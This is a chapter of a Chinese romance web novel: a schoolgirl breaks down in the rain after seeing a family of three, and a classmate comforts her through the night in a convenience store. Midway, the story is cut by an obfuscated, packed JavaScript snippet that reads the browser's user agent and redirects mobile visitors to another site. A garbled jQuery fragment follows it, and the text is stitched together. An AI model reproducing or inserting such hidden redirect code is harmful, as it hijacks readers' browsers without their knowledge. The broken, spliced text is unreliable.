风禾尽起李阿也

16. 第十六夏

    —


    马金玉指了指对面的人,“怎么不下去带上来给我们认识一下。”


    “人家好学生,物理竞赛省级第一,下周五就决赛了。”傅瑜的目光从少年的身上收回。


    私厢四散坐着以前班里的其他朋友,聚堆聊着天。


    “说得你不是好学生似的,别给我整自卑这一套,”马金玉看了眼手机的消息,利落的爬起来打开门接了奶茶,又关上,“来,我们家高三生投喂的奶茶。”


    傅瑜插上吸管,喝了一口,有些惊讶的看了下杯身,茉莉奶绿,少冰,七分糖。


    “是不是你特意给你哥说了,我喝什么都可以。”


    马金玉耸耸肩,意味深长的开口:“他记性好。”


    傅瑜抽了十块钱出来,放在马金玉口袋里,“记得给他。”


    马金玉愣了一下,“你干嘛。”


    “每次都是你哥给钱,好多次了,他给你买那是应该的,给我买算什么。”


    傅瑜觉得热,起身脱了毛衣,只剩下底衫贴在身上,皙白的手臂绕过马金玉的脖颈,俯身将她的口袋拉链拉上,眼尾上扬,“你知道的,我一般不喜欢欠人家的。”


    马金玉还要说什么,桌上的奶茶被一只手拿过去喝了一大半,“贺童!你找死。”


    傅瑜站起身,走到窗前,店里早就没了少年的身影。


    她刚想回头,视线不由自主的凝聚在一处,那是一家三口,中年男人的怀里抱着襁褓中的婴儿,身边的女人温柔的抚摸着小孩的脸。


    温热的包厢,嘈杂的环境,傅瑜只觉得浑身冰冷,心脏如细针密密麻麻的疼痛侵蚀四肢。


    她站在五楼和他们相悖而立,心口似乎如窗外落下的大雨砸进水凼,被填满溢出来,整个人一点一点被拽进深渊。


    她想开口,可启唇如失声,指尖麻得厉害。


    “瑜瑜,这次的水果好甜也,快,吃一口。”马金玉环住她纤细的腰肢,用牙签扎了瓣橘子放到她嘴边,等她吃下,又蹦蹦跳跳和贺童抢西瓜。


    站在窗前的少女屈膝顺着玻璃蹲下,她无声垂眸,唇齿清甜的橘香充斥口腔。


    怎么这么苦啊。


    “瑜瑜?”马金玉顺着贺童的眼神看向蹲在一边的人,她靠上前,先看了看下面,湿闷的街道有雨滴极速下坠,“怎么哭了啊?是不是太酸了。”


    “我这瓣不酸啊,贺童,你家的餐厅偷工减料了!”


    她焦急的想把人搂进怀里,被身前人摇头止住动作。


    “是有点酸,下次我可不吃这么酸的了,”傅瑜胡乱抹了把眼泪,对上她关切的目光,“我突然想起,明天还有事,玉玉我先坐车回去了,不用送我。”


    “好。”马金玉站在原地,看着傅瑜离开。


    —


    那天,傅瑜永远都记得。


    秋雨从下午就开始淅淅沥沥地下到现在。


    附中对面的街口有一束光从东边照了进来,直把整条街景照亮。


    大雨倾盆而至,五米一处的电线杆在楼房的面前伫立,太阳和雨天同时存在,雨点像银蝶跌落,翩翩起舞。


    她从五楼跑下去的时候,那一家三口早就消失在人海里。


    雨水顺着她的毛衣滚落脖颈,凉得刺骨,过路的行人打着伞从她身边路过。


    时不时还有好奇的投来打量的视线。


    少女单薄的身影蹲在街角,她根本压不住哭声,又怕吵到其他人,干脆将头埋在臂弯。


    “傅瑜。”有声音从身后传来,“傅瑜?”


    一道身影停在她身前,昏暗的转角,少年站姿挺拔举着伞,高阔的影子将她笼罩。


    她应声抬眼,眼眶红肿,发丝被泪濡湿散在两颊。


    见到这副样子的少女,饶是再发硬冰冷的人也认命似的单膝跪在她的面前。


    少年刚想伸手触碰她,却迎面被打了一巴掌,力气很大,他直接被扇得侧过脸去,左脸浮现清晰的巴掌印,他垂眼,半晌才转过头来,看着她,很沉的目光像要把人吸进去。


    “还打吗?”他用舌尖顶了顶内颊,拉过她的手腕,勾唇,引导她把手放在右边的脸上。


    她怔愣,想抽回手,却被他紧紧攥住。


    “往这打。”他神色冷淡,语气带着几分诱哄。


    “陈风禾。”她的声音已经哽咽得不成样子,身子微微颤栗,呜咽声拍打着他的心尖。


    少年的眼睛干净柔和,他听到她在叫他,应下声。


    “刚刚..”傅瑜的声音很轻,眼泪滑落地上,顺着流淌的雨水,顺流而下。


    明明是她在哭,可为什么,他的心这么痛,如撕裂般叫他喘不过气。


    她的头发湿哒哒的,鼻尖泛红,就这样暴露在他面前。


    他想,不就是扇巴掌吗?


    她现在要是拿把刀出来叫他把心刨出来,他都会照做。


    陈风禾朝她伸出手,他毫不在意,打断她想说的话,“来,让我抱抱你。”


    她的身子很软,可能女生的骨架本身就很小。


    他抱她起身躲雨的时候,什么都没敢想。


    站在楼道口的马金玉收回脚,和追出来的贺童对视后,转身往楼上走。


    “不去了?”贺童将烟蒂丢进垃圾桶,伸手给她掖了掖衣服。


    马金玉沉默着走了两层楼,停在消防通道,“如果瑜瑜不同意的话,他根本近不了她的身。”


    再说,傅瑜那一巴掌任谁都不可能那么平静,哪个傻子会笑得那么开心,让她再打一巴掌。


    要搁贺童身上,他不得哭唧唧的像个娘们似的找她哭上几宿。


    —


    便利店内,少女坐在靠窗的板凳上,手搭在桌台,垂眸望着面前冒热气的感冒药和面条,她的身上穿的是陈风禾的外套。


    那件纯白毛衣此刻挂在他的手臂上,他只穿了白色短袖,站在收银台旁的插座给她吹毛衣。


    雨幕中的江宁有一种极致的模糊感,窗外的街景被雾笼罩。


    店里很暖和,没要多久,他就拿着衣服坐到她身边,给她换上。


    毕竟他那件衣服是三年前买的了,不暖和。


    “这药是预防感冒的,先喝掉。”等她乖乖换上毛衣,他才端起纸杯,将感冒药吹了吹,递到她嘴边。


    傅瑜刚在路上将晚饭悉数吐了出来,现下虚弱得厉害,嘴里一点味道都没有。


    他偏头,和她对视。


    她突然就想起,过来的时候,他虚抱着她的腰,让她好好靠在自己的身上,只不过胃部涌起的肿胀感,让她直接跌下来,好在陈风禾眼疾手快把她拉住,让她踩在他的脚上站在巷子口。


    吐到最后,眼泪和黄色的液体都流了出来,令人作呕的气味虽被雨水冲淡些,还是让她皱起眉,她抬眼时,就对上他的视线。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345296|167873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他也是这样,歪头和她对视。


    眼里的担忧快要溢出来,眉眼平顺,没有褶皱,没有一点嫌弃。


    “你呢?”她问。


    “现在突然想起来关心我了?”见她情绪好了不少,他打趣道。


    “抱歉啊。”触到他脸颊的红痕,她微不可闻的轻言。


    “我又不是来听你道歉的,再说了,打就打了,我还真能跟你计较,”他叹息,将手指放到她紧皱的眉心,轻轻揉搓,“不管发生什么事,还有我在呢。”


    雨水顺着石板缝溢出被泥土吞没,不知什么时候,便利店多了些拿着画板的学生。


    吵吵闹闹的,将冷清的店铺带上不一样的氛围。


    “学长,辅导员请的水,给你,”一个矮个女生在叽叽喳喳的声音里,喊停男生,“学长?”


    “不用了。”


    高个男生站在原地,看着角落的少女垂眸,一口一口的吃下少年喂到嘴边的面条。


    坏掉的玻璃门有冷风窜了进来,男生站在货架边,直到看着那碗面条见底,转身离开。


    在他走后,其他几个也一并离开。


    店外的雨声只大不小,陈风禾站在门口,和电话里的老师说了几句,拿着给她买的奶茶进来。


    他坐在她身边,什么也没问。


    就这么陪着她,坐了一晚上。


    晨曦在天边钻了出来,给湿润的江宁带来一丝暖意,陈风禾没管发酸的胳膊,视线不由自主的望向睡颜柔和的人。


    他匍在桌边,脑袋朝她身边凑了凑,看了她很久,才轻手轻脚的起身。


    这个时间段,穿着工作服的店员正在拖地,她抬眼看到少年走了过来,他的眼睛很亮,完全看不出疲态,“您好,有什么可以帮你的?”


    他动了动嘴,轻轻和店员说话,“麻烦你,如果那边的女生醒来,帮我给她说一声我去买早饭,最多十分钟,我就会回来。”


    “好。”


    买早饭只要了五分钟,他绕过水凼,走过玻璃窗,手里拎着好几种阿姨推荐的餐点。


    以往在川江,他就只见过包子、馒头、油条...


    没想到,来了江宁,选择更多。


    “傅..”他推门的动作和声音一起消散,窗边的位置只有店员在擦桌子。


    收银员看他回来,“那个小姑娘让我告诉你,她先回去了,另外她说祝你一举夺魁,所求皆如愿。”


    “谢谢,她看起来还好吗?”陈风禾站定在桌前,眼底没有一丝波澜,他似乎很平静。


    “嗯,没有哭哦。”


    店员还记得,半夜小姑娘小声呜咽时的背影,她循声望去,少年屈膝捧着小姑娘的脸轻声哄着,他说:“别哭,我再也不会碰烟了,好不好?”


    到最后,店员理完货回到柜台,看到少年的眼眶发红,竟是陪着她一起哭。


    “那就好。”他将早饭放在桌案上,“您也没吃吧,拿着吃点吧。”


    店员惊诧他还会买自己的这份,犹豫再三,拿了一根油条和豆浆,“谢谢。”


    “不客气。”他握紧雨伞,拿着剩下的早饭,转身离开。


    陈风禾走到一半,又回来,买了包烟。


    店员说了一句,“吸烟确实不好。”


    陈风禾抬眼,顿了一下,“不是因为烟。”


    她不说,他就不问,昨晚只是找个借口让她哭出来。